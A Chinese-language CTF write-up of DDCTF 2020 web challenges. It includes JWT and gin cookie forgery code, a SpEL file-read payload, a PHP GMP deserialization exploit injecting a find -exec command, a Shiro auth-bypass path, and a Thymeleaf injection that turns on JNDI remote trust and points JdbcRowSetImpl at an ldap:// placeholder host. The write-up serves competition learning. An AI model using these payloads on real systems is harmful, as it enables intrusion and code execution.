不得不说,DDCTF 的题要比各种国内杯要好不少的(5毛一条 XD)
虽然打到最后也没出 Java Web,最后第十也算是弥补了之前的遗憾吧
Web 签到题
出题人六级过了嘛(
[-][Safet Reminder]The Private key cannot use request parameter
那么也就提示我们签名 jwt 的密钥是用户传上去的,为了方便爆破,用户名和密码都填 admin
,登录一下拿 c-jwt-cracker
爆破一下试试
那么确认了就是密码(或用户名)吧,jwt.io 在线伪造一个就行了,拿到 client
拿到手 client 是个 golang 的 binary,然后掏出 IDA 逆一下(web 狗表示强烈谴责)
先用 IDA Golang Helper 恢复一下符号表,然后搜 main,找到签名函数
大概就是 base64(hmac('command|timestamp', secret))
,口糊一个 golang 就行了,secret 就是 DDCTFWithYou
package main
import (
"fmt"
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"time"
"strconv"
"os"
)
func main () {
args := os.Args
secret := "DDCTFWithYou"
t := time.Now().Unix()
p := args[1] + "|" + strconv.Itoa(int(t))
fmt.Println(p)
h := hmac.New(sha256.New, []byte(secret))
h.Write([]byte(p))
fmt.Println(base64.StdEncoding.EncodeToString(h.Sum(nil)))
}
然后 golang 发包懒得逆了,用电线鲨鱼抓一下包
那么就很清楚了,按照这个格式发包就完了
然后是 Fuzz 后端,虽然一开始就发现是 Spring Boot,但是当时还是没想到后端就是 Java + SpEL
Fuzz 的时候发现 {1, 2, 3, 4}
这种被解析成了数组, ({1, 2, 3, 4}).size()
为 4,猜测是 Java 语言
然后 ''.class
回显是 java.lang.String
,确定后端是 Java
然后又是一波 Fuzz,forName
和 getClass
都不能用,猜测是模板语言,最后发现是 SpEL,网上抄个 exp 改一下即可
T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/home/dc2-user/flag/flag.txt'), T(java.nio.charset.Charset).defaultCharset())
礼物商城
Fuzz 了好久,最后 ccd 提示是 golang 的整数溢出才发现(
借一个巨大无比的数字(比如 1145141919810)
GET /574da2df50d5d7ea64621e38a8bd6ad4/loans?loans=1145141919810
然后就会发现只需要还 8xxxx,等还完就可以兑换礼品了,然后这里给了一个提示
恭喜你,买到了礼物,里面有夹心饼干、杜松子酒和一张小纸条,纸条上面写着:url: /flag , SecKey: Udc13VD5adM_c10nPxFu@v12,你能看懂它的含义吗?
夹心饼干当然就是 cookie 了,杜松子酒也就是琴酒(柯南 boss?)也就是 gin
,告诉你了 secretkey,串起来就是 gin 的 cookie 伪造了
那么口糊一个 golang web
package main
import (
"fmt"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
app := gin.Default()
store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
app.Use(sessions.Sessions("session", store))
app.GET("/fuck", func(c *gin.Context) {
session := sessions.Default(c)
p := session.Get("admin")
session.Set("admin", true)
fmt.Println(p)
session.Save()
c.JSON(200, gin.H{"count": 1})
})
err := app.Run(":3000")
if err != nil {
fmt.Printf("err: %s", err)
}
}
带上之前的 cookie 发过去,用之后的 cookie 发 /flag
即可
OverwriteMe
源码给了
<?php
error_reporting(0);
class MyClass
{
var $kw0ng;
var $flag;
public function __wakeup()
{
$this->kw0ng = 1;
}
public function get_flag()
{
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
}
}
class Prompter
{
protected $hint;
public function execute($value)
{
include($value);
}
public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}
class Display
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
}
public function __toString()
{
return $this->contents();
}
public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}
class Repeater
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}
public function __unset($key)
{
var_dump($this->content);
$func = $this->content;
return $func();
}
}
class Info
{
function __construct()
{
eval('phpinfo();');
}
}
$show = new Display();
$bullet = $_GET['bullet'];
if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
var_dump($mc);
echo $mc->get_flag();
}
感觉题目出糊了,应该是反序列化读 hint/hint.php
来读 flag 的前半部分的,但是直接访问就拿到了,,,所以给的文件包含 pop 链没有用
hint 里面提到了 GMP,那么就是 GMP 的类型混淆覆盖掉 $mc->flag
来命令注入拿 shell 了,这里 open_basedir
是 /var/www/html
,所以不能临时文件包含 getshell
网上资料不多,搜 GMP 反序列化,找了一篇看了下,凑出来了一个 exp
<?php
class MyClass
{
var $kw0ng;
var $flag;
public function __wakeup()
{
$this->kw0ng = 1;
}
public function get_flag()
{
var_dump($this->flag);
return system('find /FlagNeverFall ' . escapeshellcmd($this->flag));
}
}
class Display
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>\n";
}
public function __toString()
{
return $this->contents();
}
public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}
$show = new Display();
$obstacle = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
// 因为 $mc 是第三个实例化的,所以应该填 s:1:"3"
$inner = 's:1:"3";a:2:{s:4:"flag";s:63:"-iname sth -or -exec cat /FlagNeverFall/suffix_flag.php ; -quit";i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}i:1;O:7:"MyClass":1:{s:5:"kw0ng";R:3;}}';
unserialize($exploit);
var_dump($show);
var_dump($obstacle);
var_dump($mc);
echo $mc->get_flag();
echo urlencode($exploit);
echo "\n";
?>
其实这道题还可以用 Display
类的 __toString
方法来读文件,套路跟之前 RCTF 的 swoole 一样,不再多说了
EasyWeb
这道题其实没有出,有点操蛋,也记录一下吧
首先是 /img?img=xxx
读文件,能读到字节码,反编译出来能看到绝大部分内容,同时也有管理界面的路由
import com.ctf.util.SafeFilter;
import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletResponse;
public class SafeFilter implements Filter {
private final String encoding = "UTF-8";
private static String[] blacklists = new String[] {
"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml",
"org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io" };
public void init(FilterConfig arg0) throws ServletException {}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
Enumeration<String> pNames = request.getParameterNames();
while (pNames.hasMoreElements()) {
String name = pNames.nextElement();
String value = request.getParameter(name);
for (String blacklist : blacklists) {
Matcher matcher = Pattern.compile(blacklist, 34).matcher(value);
if (matcher.find()) {
HttpServletResponse servletResponse = (HttpServletResponse)response;
servletResponse.sendError(403);
}
}
}
filterChain.doFilter(request, response);
}
public void destroy() {}
}
这就是黑名单了,限制非常严
然后读 shiro 的包能读到版本,网上能搜到 CVE,直接绕过进 admin 就行了
POST /03a75d3bfcce148fd4fe6b24044ad0cd/web;/68759c96217a32d5b368ad2965f625ef/customize
content=
信息收集了一波,部分版本如下
- Shiro: 1.5.2
- Spring-beans: 5.0.16.RELEASE
- CC: 3.2.2
- JDK: 8u232b09
- 没有 tomcat-el 包
CC 3.2.2,jdk 8u232,真狠啊
最后绕了很久没有出,结束后看了眼师傅们的 wp,是模版特性绕过(二次渲染?)
不过绕的时候发现了个很有趣的东西,可以打 jndi
<div th:with=fuck1=${T(com.sun.rowset.JdbcRowSetImpl).newInstance()}>
<div th:with=fuck2=ldap>
<div th:with=fuck3=ip.addr.here>
<div th:with=fuck5=9999>
<div th:with=fuck6=com.sun.jndi.cosnaming.object.trustURLCodebase>
<div th:with=fuck7=Exploit>
<div th:with=fuck8=com.sun.jndi.rmi.object.trustURLCodebase>
<div th:with=fuck4=${fuck2.concat(T(Character).toChars(58)).concat(T(Character).toChars(47)).concat(T(Character).toChars(47)).concat(fuck3).concat(T(Character).toChars(58)).concat(fuck5).concat(T(Character).toChars(47)).concat(fuck7)}>
<p th:text=${fuck5}></p>
<p th:text=${fuck6}></p>
<p th:text=${T(System).setProperty(fuck6,true)}></p>
<p th:text=${T(System).setProperty(fuck8,true)}></p>
<p th:text=${fuck1.getDataSourceName()}></p>
<p th:text=${fuck1.setDataSourceName(fuck4)}></p>
<p th:text=${fuck1.getDataSourceName()}></p>
<p th:text=${fuck1.setAutoCommit(true)}></p>
</div>
</div>
</div>
</div>
可以这样绕掉黑名单,打 jndi 出来,但是由于 JDK 版本太高,打出来必须得用本地反序列化链,但是找了很久没找到,哭哭
注意这里两个关掉 rmi 和 jndi 的保护配置在这个 JDK 版本其实都是没用滴(x
这篇文章总结的很不错 如何绕过高版本JDK的限制进行JNDI注入利用
其实打 jndi 出来还可以再用 RMIConnectWithUnicastRemoteObject
绕过打出来 rmi 套娃再用本地 gadget 打,但是这道题里面没有 tomcat-el
(或者也有可能我姿势不太对),最后也没空找本地 gadget,因此最后也没有打通,就很气
可以看这个很有意思的项目 wh1t3p1g/ysomap
顺便这个题的黑名单只过滤了 GET 或 POST 参数,因此可以用 HTTP 头来绕掉黑名单
fuck=any-bad-words
<p th:text=${#request.getHeader(fuck)}></p>
发表评论
沙发空缺中,还不快抢~